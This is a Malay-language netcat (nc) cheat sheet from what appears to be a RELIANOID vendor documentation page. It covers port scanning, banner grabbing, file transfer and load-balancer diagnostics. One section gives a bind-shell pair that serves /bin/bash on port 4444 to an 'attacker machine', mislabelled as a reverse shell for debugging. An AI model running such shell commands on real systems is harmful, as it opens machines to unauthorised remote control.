Lembaran Cheat Arahan nc (Netcat).

Lihat Kategori

Lembaran Cheat Arahan nc (Netcat).

Linux nc (Netcat) Perintah #

Linux nc Perintah (Netcat) ialah utiliti rangkaian serba boleh yang digunakan untuk komunikasi rangkaian, penyahpepijatan dan ujian. Ia boleh bertindak sebagai pelayan atau klien mudah, dan menyokong membaca dan menulis data melalui TCP atau UDP. Digelar "Pisau Tentera Swiss" rangkaian, nc digunakan secara meluas untuk tugas seperti pengimbasan port, pemindahan fail dan perkhidmatan rangkaian ujian.

Penggunaan Utama dan Sintaks nc Perintah #

Sintaks asas bagi nc perintah ialah:

nc [OPTIONS] [HOST] [PORT]

  • PILIHAN: Bendera untuk mengawal tingkah laku nc.
  • HOST: Hos sasaran untuk sambungan.
  • PORT: Nombor port sasaran.

nc Jadual Cheatsheet Perintah #

Perintah Penerangan Produk
nc -zv example.com 80 Uji sama ada port 80 dihidupkan example.com terbuka (mod verbose).
nc -l 1234 Mulakan pendengar pada port 1234.
nc example.com 80 Sambung ke port 80 dihidupkan example.com (cth, untuk menghantar permintaan HTTP).
nc -u example.com 1234 Hantar data ke port UDP 1234 dihidupkan example.com.
nc -l -p 8080 Mulakan pelayan mendengar pada port 8080.
echo "Hello" | nc example.com 1234 Hantar mesej Hello kepada example.com pada port 1234.

Kes Penggunaan Biasa #

1. Pengimbasan Port #

nc -zv example.com 20-25

Perintah ini mengimbas port 20 hingga 25 hidup example.com dan mengeluarkan status mereka.

2. Menyediakan Sembang Mudah #

Sediakan sembang ringkas antara dua sistem:

Pada sistem pertama: #

nc -l -p 1234

Pada sistem kedua: #

nc HOSTNAME 1234

Ganti HOSTNAME dengan alamat IP sistem pertama.

3. Pemindahan Fail #

Pindahkan fail antara dua sistem menggunakan nc:

Pengirim: #

cat file.txt | nc -q 0 HOSTNAME 1234

Penerima: #

nc -l -p 1234 > file.txt

4. Merebut Sepanduk #

Dapatkan maklumat perkhidmatan daripada pelayan jauh:

nc example.com 80

Jenis HEAD / HTTP/1.0 dan tekan Enter dua kali untuk melihat pengepala HTTP.

Penggunaan Lanjutan #

Kesambungan UDP #

Uji ketersambungan UDP ke sasaran:

nc -u example.com 1234

Ini menghantar data ke port UDP 1234 dihidupkan example.com.

Ikat Shell #

Buat cangkerang terbalik yang mudah untuk penyahpepijatan:

Pada mesin jauh: #

nc -l -p 4444 -e /bin/bash

Pada mesin penyerang: #

nc TARGET 4444

Menggunakan Netcat dengan Selamat #

Untuk keselamatan yang dipertingkatkan, gunakan versi kriptografi bagi nc (contohnya, ncat dengan SSL).

Menggunakan nc bersama RELIANOID Penyelesaian #

In RELIANOIDinfrastruktur rangkaian, nc boleh melaksanakan pelbagai tujuan diagnostik dan operasi:

1. Uji Ketersambungan Pengimbang Beban #

nc -zv loadbalancer.realianoid.local 80

Sahkan bahawa pengimbang beban menerima trafik pada port 80.

2. Pantau Perkhidmatan Bahagian Belakang #

Semak status pelayan bahagian belakang dengan cepat:

nc -zv backend1.realianoid.local 8080

Ini menyemak sama ada perkhidmatan hujung belakang boleh dicapai pada port 8080.

3. Sahkan Pemajuan Pelayan Proksi #

Uji sama ada pelayan proksi memajukan trafik dengan betul:

nc proxy.realianoid.local 443

4. Menyahpepijat Protokol Tersuai #

Penggunaan nc untuk nyahpepijat atau mensimulasikan interaksi dengan protokol tersuai dalam RELIANOIDpersekitarannya.

nc -l -p 5555

Sediakan pendengar untuk menguji mesej protokol.

Ringkasan #

. nc Perintah (Netcat) adalah alat yang sangat diperlukan untuk profesional rangkaian. Keupayaannya untuk mengimbas port, memindahkan fail dan ketersambungan nyahpepijat menjadikannya sesuai untuk aplikasi serba boleh. Memanfaatkan nc bersama RELIANOID infrastruktur membantu memastikan prestasi rangkaian yang mantap dan penyelesaian masalah yang cepat.

📄 Muat turun dokumen ini dalam format PDF #

    E-MEL: *

    Dikuasakan oleh BetterDocs